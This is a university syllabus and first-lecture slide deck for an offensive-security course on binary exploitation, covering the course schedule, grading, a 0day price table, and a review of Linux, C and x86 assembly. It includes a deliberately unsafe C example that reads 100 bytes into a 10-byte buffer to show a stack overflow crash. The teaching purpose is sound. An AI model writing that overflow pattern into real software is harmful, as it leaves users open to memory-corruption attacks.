Modern Binary Exploitation - Course Syllabus

Course Information

Course Title: Modern Binary Exploitation
Course Number: CSCI 4968
Credit Hours: 4
Semester / Year: Spring 2015
Meeting Days: Tuesday/Friday 2-4PM
Room Location: Walker 5113
Course Website: http://security.cs.rpi.edu/courses/binexp-spring2015/
Prerequisites (one of the following or permission of instructor):

- CSCI 2500 - Computer Organization
- ECSE 2660 - Computer Architecture, Networks, and Operating Systems

Instructor

Name: Bülent Yener
Office location: Lally 310
Email Address: yener@cs.rpi.edu

Teaching Assistant(s)

TAs: RPISEC
TA Office Location: Sage 3101
TA Office Hours: Wednesday 7-10PM
TA Email Address: binexp_ta@cs.lists.rpi.edu

Course Description

Cybersecurity is one of the fastest growing fields in computer science, though its study is rarely covered in academia due to its rapid pace of development and its technical specificity. Modern Binary Exploitation will focus on teaching practical offensive security skills in binary exploitation and reverse engineering. Through a combination of interactive lectures, hands on labs, and guest speakers from industry, the course will offer students a rare opportunity to explore some of the most technically involved and fascinating subjects in the rapidly evolving field of security.

The course will start off by covering basic x86 reverse engineering, vulnerability analysis, and classical forms of Linux-based userland binary exploitation. It will then transition into protections found on modern systems (Canaries, DEP, ASLR, RELRO, Fortify Source, etc) and the techniques used to defeat them. Time permitting, the course will also cover other subjects in exploitation including kernel-land and Windows based exploitation.

Course Text(s)

Suggested Textbooks:

- Hacking: The Art of Exploitation, 2nd Edition by Jon Erickson
  - ISBN 978-1593271442
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes, 2nd Edition by Chris Anley et al
  - ISBN 978-0470080238

Student Learning Outcomes

Upon successful completion of this course, students will:

1. Possess the skills necessary to carry out independent vulnerability research against binary applications.
2. Have an intimate understanding of executable formats, program control flow at the assembly level, and other low level concepts.
3. Understand classic and contemporary vulnerabilities and exploitation techniques.
4. Apply both source code auditing and binary reverse engineering to the vulnerability discovery process.
5. Be capable of exploiting vulnerabilities found in real world software as defined by MITRE's Critical Vulnerabilities and Exposures (CVE) system.

Course Assessment Measures

- **Labs:** Accompanying each lecture will be a lab that will solidify understanding of the topic of the lecture. Each lab will contain at least 3 problems, a C, B, and A level problem. There may occasionally be an A+ problem for extra credit.

- **Term Projects:** There will be two projects over the course of the semester. In these projects students will be exploiting a known vulnerability in a realistic piece of software as selected by the instructors. Students will be expected to analyze the vulnerability and produce a working exploit with a writeup detailing the vulnerability and how it can be leveraged to gain privileged information. Students may work in groups of up to two for projects.

See the Grading Criteria and Course Calender sections for further details.

Grading Criteria

Students will be able to calculate their standing at any time during the class by using the below percentages to calculate their grade.

- **Labs:** 60%, 10 labs equally weighted at 6%
  - Labs will typically consist of 3 problems, a C, B, and A problem with each problem harder than the last. Lab grading works as follows.
    - Students who complete only the C problem will receive a C
    - Students who complete both the C and B problems will receive a B
    - Students who complete all three lab problems will receive an A
    - There may be one or two A+ problems throughout the semester that can be used to increase the letter grade of any previous lab
  - If a student does not complete the first problem before the end of lab, they will receive a letter grade reduction for the assignment.
  - In order to receive full credit for a problem the student must submit their exploit code, the flag, and may be asked to explain their work upon submission to be checked off.
  - Labs problems will be introduced by the end of lecture. The first problem will be due in person **by the end** of the associated lab period. All other problems become homework, and are due **at the start of class, exactly one week after the associated lab period**.
  - Labs submitted late will receive a letter grade reduction and MUST be submitted no later than the class following their original due date, anything later will not be accepted.

- **Term Projects:** 40%, two projects equally weighted at 20%
  - Project specific grading breakdowns will be given when they are assigned.
  - Project checkpoints exist to keep you on pace with projects, failing to make checkpoints will result in a -5% reduction to the term project grade.
  - Projects submitted late will receive a -10% reduction per day late, and will not be accepted for credit after 5 days.

There will be servers dedicated to hosting the problems to be completed by students for both the lab and projects. The submitted exploits/solutions can be developed in any practical manner, but ultimately must work on the course servers to receive credit.

Grades and course progress will be made available to students throughout the semester. A grade can only be appealed within 5 days of the grade being made available to students.

Questions regarding a grade on an assignment should first be directed at the class TAs.

Course Calendar

Date	Title	Topics	Content
1/27	Syllabus and Review	Linux, C, x86	Lecture
1/30	Introduction to Reverse Engineering	Tools and the VM	Lecture
2/3	Extended Reverse Engineering	GDB & IDA	Lecture
2/6	Reverse Engineering Lab		Lab
2/10	Intro to Memory Corruption	ELF, the stack, calling conventions, buffer overflows	Lecture
2/13	Memory Corruption Lab		Lab
2/17	******* **NO CLASS** *******	**President's Day**	-
2/20	Shellcoding / Code Injection	Writing shellcode, developing scenario relevant payloads	Lecture
2/24	Shellcoding Lab		Lab
2/27	**Mid-term Project Assigned** Format String Vulnerabilities	Format strings, DTOR/GOT overwrites	Lecture
3/3	Format String Lab		Lab
3/6	******* **NO CLASS** *******	**ISTS12 @ RIT**	-
3/10	DEP and ROP	Data Execution Prevention, writing ROP, ret2libc	Lecture
3/13	ROP Lab		Lab
3/17	**Mid-term Project Checkpoint One Due** Secure Systems and Game Console Exploitation	OpenBSD, SELinux, GRSEC Game Console Exploitation	Lecture
3/20	Project One Lab		Lab
3/24	******* **SPRING BREAK** *******		-

3/27	******* **SPRING BREAK** *******		-
3/31	**Mid-term Project Due** Address Space Layout Randomization (ASLR)	Overview, info leaks, partial overwrites, ASLR closure	Lecture
4/3	ASLR Lab		Lab
4/7	Heap Exploitation	Heap structure and concepts, corruption, use after free	Lecture
4/10	Heap Exploitation		Lab
4/14	Stack Cookies & Misc Concepts	Bypassing stack cookies, signed/unsignedess issues, uninitialized data, etc	Lecture
4/17	Misc Concepts Lab		Lab
4/21	C++ Differences & Concepts	C++ basics, structures, vTables, Exceptions	Lecture
4/24	**Final Project Assigned** C++ Exploitation Lab		Lab
4/28	Kernel Exploitation	Basic kernel exploitation	Lecture
5/1	**Final Project Checkpoint One Due** Kernel Exploitation Lab		Lab
5/5	Final Project Lab		Lab
5/8	**Final Project Checkpoint Two Due** Exploitation on ARM, 64bit, Windows	Branching out, how exploitation differs on ARM, 64bit, and Windows	Lecture
5/12	Automation & The Future of Exploitation	Fuzzing, taint analysis, dynamic instrumentation, SMT/SAT solvers	Lecture
5/15	**Final Project Due**		

Attendance Policy

Although attendance for lecture is not mandatory, it will be *exceptionally* difficult to keep up without attending due to the subject matter and progression of the course. **Attendance for labs is required** as the first problem of each lab set must be turned in in person during lab.

See Grading Criteria for more details

Academic Integrity

Student-teacher relationships are built on trust. For example, students must trust that teachers have made appropriate decisions about the structure and content of the courses they teach, and teachers must trust that the assignments that students turn in are their own. Acts that violate this trust undermine the educational process. The Rensselaer Handbook of Student Rights and Responsibilities defines various forms of Academic Dishonesty and you should make yourself familiar with these. In this class, all assignments that are turned in for a grade must represent the student's own work. In cases where help was received, or teamwork was allowed, a notation on the assignment should indicate your collaboration.

Submission of any assignment that is in violation of this policy will result in a penalty of **a zero for the assignment** for all parties involved. **Repeated offenses will result in a failing grade for the course.**

If you have any question concerning this policy before submitting an assignment, please ask for clarification.

Other Course-Specific Information

The labs and interactive exercises used in lecture will be hosted in a variety of different series on an internal 'Wargame' server meant purely for teaching security concepts in a safe and educational environment. Students enrolled in the course will have SSH access to the server and are expected to use it as an aide to the learning process. Attacking parts of the server infrastructure beyond the scope of what is assigned or attempts to disrupt services for the course or other students is **not allowed** and will be considered a violation of academic integrity.

Due to the experimental nature of the course and assignments being offered, the schedule, pacing, and other elements of the course may be modified depending on the rate at which students are progressing. Any changes made to the curriculum will be clearly defined and communicated to the students as well as being documented accordingly.

Syllabus and Review

Modern Binary Exploitation
CSCI 4968 - Spring 2015
Alex Bulazel

Lecture Overview

1. Syllabus
2. Course Overview
3. Review of Background Material
   a. Linux
   b. C
   c. x86 Assembly

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Course Details

- Modern Binary Exploitation
  - Course Number: CSCI 4968
  - Credit Hours: 4
  - Semester / Year: Spring 2015
  - Meeting Days: Tuesday/Friday 2-4PM
  - Room Location: Walker 5113
  - Course Website:
    - http://security.cs.rpi.edu/courses/binexp-spring2015/
    - http://rpis.ec/binexp
  - Prereqs:
    - CSCI 2500 - Computer Organization
    - ECSE 2660 - Computer Architecture, Networks, and Operating Systems

Instructor

- Instructor: Dr. Bülent Yener
  - Office: Lally 310
  - Email: yener@cs.rpi.edu

Cyber Is A Team Sport

Markus

Branden

Sophia

Alex

Jeremy

Patrick

Austin

Office Hours

- Office hours:
  - Wednesday 7-10 PM @ Sage 3101
- Come hang out at RPISEC hack nights!
  - Ask questions, get extra help with MBE
  - Collaborate on HW/Labs
  - Work on security projects, challenges, etc

Other Options

Digital Office Hours (IRC)

- The RPISEC IRC - http://rpis.ec/irc
  - server: irc.rpis.ec
  - port: 6667 (6697 for SSL)
  - room: #rpisec

- Way faster than emailing back and forth
- Some of us are usually on at ridiculous hours
  - basically a 24/7 channel

Options of Last Resort

- Email us
  - binexp_ta@cs.lists.rpi.edu

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Suggested Textbooks

- Hacking: The Art of Exploitation, 2nd Edition by Jon Erickson
  - ISBN 978-1593271442
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes, 2nd Edition by Chris Anley et al
  - ISBN 978-0470080238

Grade Breakdown

- Labs - 60%
  - 10 labs @ 6% each
  - Lab attendance is MANDATORY as lab submissions must be checked off in person
- Term Projects - 40%
  - 2 Projects @ 20% each
  - Like a big lab, but over a few weeks

Syllabus

- READ THE SYLLABUS - Well written, full of details
  - It's on the course website - rpis.ec/binexp

An Atypical Class

- Designed and orchestrated by RPISEC (students)
- Biggest RPISEC class yet!
  - CSCI 4971 Secure Software Principles
  - CSCI 4972 / 6963 Malware Analysis
  - CSCI 4974 / 6974 Hardware Reverse Engineering
- We're not here to mess around

RPISEC

- Good to see lots of familiar faces!
- RPISEC meetings are Friday 5-7 PM in DCC 324
- Come learn other topics in computer security
  - Web hacking
  - Malware analysis
  - Reverse Engineering
  - Digital Forensics
  - So so much more
- Meet people from industry, get internships/jobs
- Read more - http://rpis.ec

Lecture Overview

1. Syllabus
2. Course Overview
3. Review of Background Material
   a. Linux
   b. C
   c. x86 Assembly

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Course Terminology

- Machine
  - A computer, server, sometimes refers to the actual CPU
- Binary
  - An executable such as an .EXE, ELF, MachO or other code containers that run on a machine
  - Other names: program, application, service (sometimes)
- Malware
  - A malicious binary meant to persist on a machine such as a Rootkit or Remote Access Tool (RAT)

Course Terminology

- Vulnerability
  - A bug in a binary that can be leveraged by an exploit
- Exploit (as a noun)
  - Specially crafted data that utilizes vulnerabilities to force the binary into doing something unintended
  - By this definition, exploits are not explicitly malware
- 0day
  - A previously unknown or unpatched vulnerability that can be used by an exploit
  - An 0day can also be an exploit using the unpatched vuln

Premise For This Class

"Can we teach a bunch of programmers how to pwn?"

- Pwn/Pwning
  - In security, pwning commonly refers to vulnerability research and exploit development

Goals for This Course

- This will be a very applied, hands on course
  - No data structures, algorithms, cryptography, or cyber policy
  - Every lecture after this you're expected to bring your laptop!
- We will cover technically challenging material rarely touched upon in other classes
- As an individual you will leave with all the skills necessary to perform vulnerability research, bypass modern security protections, and develop weaponized exploits

“Dark Arts” of Computer Science

- Almost non-existent in academia
  - Taboo around offensive security
  - Rapidly evolving, very technical
- Why learn binary exploitation?
  - Can’t defend against what you don’t understand
  - Gain an intimate understanding of how programs *really* work
  - Fun, intriguing, rewarding problems
  - So few people know how to pwn
  - Exploding job market

The Market for An 0day (2012)

ADOBE READER	$5,000–$30,000
MAC OSX	$20,000–$50,000
ANDROID	$30,000–$60,000
FLASH OR JAVA BROWSER PLUG-INS	$40,000–$100,000
MICROSOFT WORD	$50,000–$100,000
WINDOWS	$60,000–$120,000
FIREFOX OR SAFARI	$60,000–$150,000
CHROME OR INTERNET EXPLORER	$80,000–$200,000
IOS	$100,000–$250,000

2015? Double these numbers

Underappreciated Wisdom

"If your program simply segfaulted, consider yourself lucky."

- Prof. Stewart

More Than a Segfault

- The right bugs (vulnerabilities) found in binaries can be used by exploits to hijack code execution

- Once code execution is achieved by an attacker...
  - Gain privileged information
  - Download or install malware
  - Steal data
  - Wreak any sort of havoc on the machine

Fun Example of Binary Exploitation

"[TAS] Super Mario World "**Arbitrary Code Execution**" in 02:25.19 by Masterjun"

Events in Security & Exploitation

- 1972 - USAF Computer Security Technology Planning Study describes buffer overflows
- 1988 - Morris Worm exploits use of gets() in finger daemon
- 1996 - Aleph1 publishes “Smashing the Stack for Fun and Profit” in Phrack
- 2001 - Code Red worm exploits a MS web server vulnerability to hit hundreds of thousands of computers
- 2004 - Windows XP SP2 released, exploit mitigation era begins
- 2007 - The first iPhone jailbreak is developed by GeoHot
- 2008-2010 - Stuxnet employs four Windows 0days to spread through Iranian nuclear refinery control system networks

Course Roadmap

- We start off with the fundamentals required
  - Basic reverse engineering, memory corruption, classical exploitation
- Different classes of vulnerabilities are introduced and how they can be leveraged in exploitation
  - Stack smashes, format strings, signed/unsigned, Heap, UAF, etc
- Modern exploit mitigations are introduced and how they can be bypassed in exploitation
  - DEP, ASLR, GS/Cookies,

Lecture Overview

- Syllabus
- Course Overview
- Review of Background Material
  - Linux
  - C
  - x86 Assembly

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Quick Linux Overview

- UNIX-like open source kernel used by many open source operating systems distros
- Written in C and assembly
- ELF (Executable and Linkable Format) files for binaries
- We'll be teaching on Ubuntu 14.04 systems, but exploitation techniques are pretty universal

Learning Command Line Linux

- We'll be spending a lot of time using linux at the command line in this class, so you'll need to learn your way around

- Get familiar with the linux command line if you aren't already
  - http://overthewire.org/wargames/bandit/

Basic Command Line Usage

- `ls`
  - List directory contents
- `cd [path]`
  - change directory
  - `"..” = previous`
- `pwd`
  - Print working directory
- `man [command]`
  - Manual for command
- `apropos [whatever]`
  - Get info on commands/man pages that might do whatever

Working With Files

- `cat [file]`
  - Print the file contents on your terminal
- `less [file]`
  - Like cat, but paged, good for long documents
- `mv [file1] [file2]`
  - Move file1 to file2, removing file1 and overwriting file2 if it exists
- `cp [file1] [file2]`
  - Copy file1 to file2, overwriting file2 if it exists
- `rm [file]`
  - Deletes file
- `nano / vim / emacs`
  - Command line text editors

Piping Program Input / Output

- Pipes - "|"
  - Take output of one program, send it as input to another
  - `$ echo "hello" | cowsay`

```
 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
```

- `$ echo "hello" | cowsay | grep "hello"`

  `< hello >`

Lecture Overview

- Syllabus
- Course Overview
- Review of Background Material
  - Linux
  - C
  - x86 Assembly

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

The C Programming Language

- Designed in 1969-1972 for writing UNIX operating system
- Imperative systems programming language
  - Very fast, compiled language
  - Extremely fine control over memory and the machine
- Compared to modern languages, C is considered a 'low level' language

Language Depth

Hello World! - C Source

```c
#include <stdio.h>

int main(int argc, char * argv[])
{
  printf("Hello World!\n");
  return 0;
}
```

Hello World! - Compiling/Running

```
$ gcc helloworld.c -o helloworld
$ ./helloworld
Hello World!
```

Basic Memory Manipulation

```c
int i = 0;
char * message = "hello world";
char * buffer = (char *)malloc(7);

if(buffer == NULL)
    return 1;

strncpy(buffer, message, 5);
buffer[5] = '\n';
buffer[6] = '\0';

for(i = 0; i < 10; i++)
    printf("%s", buffer);

free(buffer);
```

Running It

```
$ gcc basic.c  -o basic -std=gnu99
$ ./basic
hello
hello
hello
hello
hello
...
```

What's your name?

```
#include <stdio.h>
#include <unistd.h>

int main(int argc, char * argv[]) {
  char buffer[10] = {0};
  printf("What's your name?\n");
  read(STDIN_FILENO, buffer, 10);
  printf("Hello %s\n", buffer);
  return 0;
}
```

Hello ALEX 1234 ??

```
$ gcc name.c -o name
$ ./name
What's your name?
ALEX 1234 ABCD
Hello ALEX 1234 ??
```

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

What’s your name? - 2.0

```
#include <stdio.h>
#include <unistd.h>

int main(int argc, char * argv[]) {
  char buffer[10] = {0};
  printf("What’s your name?\n");
  read(STDIN_FILENO, buffer, 100);
  printf("Hello %s\n", buffer);
  return 0;
}
```

Crash!

```
$ gcc name2.c -o name2
$ ./name2
What's your name?
ALEX 1234 ABCD EFGH IJKL
Hello ALEX 1234 ABCD EFGH IJKL

??????????
Segmentation fault (core dumped)
```

- Bottom line: it's easy to make grievous errors in C

So If C Scared You…

- If you're in this class, we expect you to already know some basic C from CompOrg, CANOS, OpSys, or NetProg

- Otherwise, review C programming ASAP
  - "Hacking: The Art of Exploitation", chapter 0x200

Lecture Overview

- Syllabus
- Course Overview
- Review of Background Material
  - Linux
  - C
  - x86 Assembly

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

x86 Assembly

- An assembly instruction set introduced in 1978 by Intel
  - 1978 - 16bit
  - 1985 - 32bit
  - 2001 - 64bit (Itanium)
  - 2003 - 64bit (AMD64)
- Overwrought CISC, a total playground for exploitation
- As low level as we'll go

```
jmp     loc_8056CB8

                                ; CODE XREF
cmp     [esp+4BCh+var_494], 45h ;
jz      loc_8056CA0
mov     eax, [esp+4BCh+var_478]
mov     [esp+4BCh+var_470], 1
mov     esi, [eax+18h]
jmp     loc_8056DD0

                                ; CODE XREF
cmp     [esp+4BCh+var_494], 45h ;
jz      loc_8056CA0
mov     esi, [esp+4BCh+var_478]
mov     ebx, 92492493h
mov     eax, [esi+18h]
lea     ecx, [eax+6]
mov     [esp+4BCh+var_48C], eax
mov     eax, ecx
imul    ebx
lea     eax, [edx+ecx]
mov     edx, ecx
sar     edx, 1Fh
sar     eax, 2
```

Language Depth

Pulling Back the Curtain

```
.text:00428DC8                          loc_428DC8:                                 ; CODE XREF: sub_428CE0+AB↑j
.text:00428DC8                                                                      ; sub_428CE0+C1↑j
.text:00428DC8 8A 85 2B 04 00 00                        mov     al, [ebp+42Bh]
.text:00428DCE 84 C0                                    test    al, al
.text:00428DD0 0F 85 5A 02 00 00                        jnz     loc_429030
.text:00428DD6 8B 85 18 04 00 00                        mov     eax, [ebp+418h]
.text:00428DDC 8B 00                                    mov     eax, [eax]
.text:00428DDE 89 44 24 10                              mov     [esp+494h+var_484], eax
.text:00428DE2 8A 8D 2A 04 00 00                        mov     cl, [ebp+42Ah]
.text:00428DE8 84 C9                                    test    cl, cl
.text:00428DEA 74 53                                    jz      short loc_428E3F
.text:00428DEC 3B 85 18 04 00 00                        cmp     eax, [ebp+418h]
.text:00428DF2 0F 84 35 02 00 00                        jz      loc_42902D
.text:00428DF8
.text:00428DF8                          loc_428DF8:                                 ; CODE XREF: sub_428CE0+158↓j
.text:00428DF8 8B 88 10 08 00 00                        mov     ecx, [eax+810h]
.text:00428DFE 8D 54 24 54                              lea     edx, [esp+494h+var_440]
.text:00428E02 8D 44 24 78                              lea     eax, [esp+494h+var_41C]
.text:00428E06 89 4C 24 54                              mov     [esp+494h+var_440], ecx
.text:00428E0A 52                                       push    edx
.text:00428E0B 50                                       push    eax
.text:00428E0C 8D 8F B4 12 00 00                        lea     ecx, [edi+12B4h]
.text:00428E12 89 74 24 60                              mov     [esp+49Ch+var_43C], esi
.text:00428E16 E8 F5 04 00 00                           call    sub_429310
```

"... there's way too much information to decode the Matrix. You get used to it, though. Your brain does the translating. I don't even see the code. All I see is blonde, brunette, redhead." -Cypher, The Matrix

x86 Assembly Syntax

- All assembly languages are made up of instruction sets
- Instructions are generally simple arithmetic operations that take registers or constant values as arguments
  - Also called Operands, OpCode, Op(s), mnemonics
- Intel syntax: operand destination, source
  - `mov eax, 5`
- AT&T syntax: operand source, destination
  - `mov $5, eax`
- We'll be using the Intel syntax in this class

x86 Register Diagram

Important Registers

- `EAX EBX ECX EDX` - General purpose registers
- `ESP` - Stack pointer, “top” of the current stack frame (lower memory)
- `EBP` - Base pointer, “bottom” of the current stack frame (higher memory)
- `EIP` - Instruction pointer, pointer to the *next* instruction to be executed by the CPU

- `EFLAGS` - stores flag bits
  - `ZF` - zero flag, set when result of an operation equals zero
  - `CF` - carry flag, set when the result of an operation is too large/small
  - `SF` - sign flag, set when the result of an operation is negative

Moving Data

- `mov ebx, eax`
  - Move the value in eax to ebx
- `mov eax, 0xDEADBEEF`
  - Move 0xDEADBEEF into eax
- `mov edx, DWORD PTR [0x41424344]`
  - Move the 4-byte value at address 0x41424344 into edx
- `mov ecx, DWORD PTR [edx]`
  - Move the 4-byte value at the address in edx, into ecx
- `mov eax, DWORD PTR [ecx+esi*8]`
  - Move the value at the address ecx+esi*8 into eax

Arithmetic Operations

- `sub edx, 0x11`
  - edx = edx - 0x11; // subtracts 0x11 from edx
- `add eax, ebx`
  - eax = eax + ebx; // add eax and ebx, storing value in eax
- `inc edx`
  - edx++; // increments edx
- `dec ebx`
  - ebx--; // decrements ebx
- `xor eax, eax`
  - eax = eax ^ eax; // bitwise xor eax with itself (zeros eax)
- `or edx, 0x1337`
  - edx = edx | 0x1337; // bitwise or edx with 0x1337

Some Conditional Jumps

- `jz $LOC`
  - Jump to $LOC if ZF = 1
- `jnz $LOC`
  - Jump to $LOC if ZF = 0
- `jg $LOC`
  - Jump to $LOC if the result of a comparison is the destination is greater than the source

Stack Manipulation

- `push ebx`
  - Subtract 4 from the stack pointer to move it towards lower memory (zero,) and copy the value in EBX on top of the stack

```
sub esp, 4
mov DWORD PTR [esp], ebx
```

- `pop ebx`
  - Copy the value off the top of the stack and into EBX, the add 4 to the stack pointer to move it towards higher memory (0xFFFFFFFF)

```
mov ebx, DWORD PTR [esp]
add esp, 4
```

Calling / Returning

- `call some_function`
  - Calls the code at some_function. We need to push the return address onto the stack, then branch to some_function

```
push eip
mov  eip, some_function   ; not actually valid
```

- `ret`
  - Used to return from a function call. Pops the top of the stack to eip

```
pop eip      ; not actually valid
```

- `nop`
  - ‘no operation’ - does nothing

Basic x86

```
0x08048624: "YOLOSWAG\0"
    mov ebx, 0x08048624
    mov eax, 0
LOOPY:
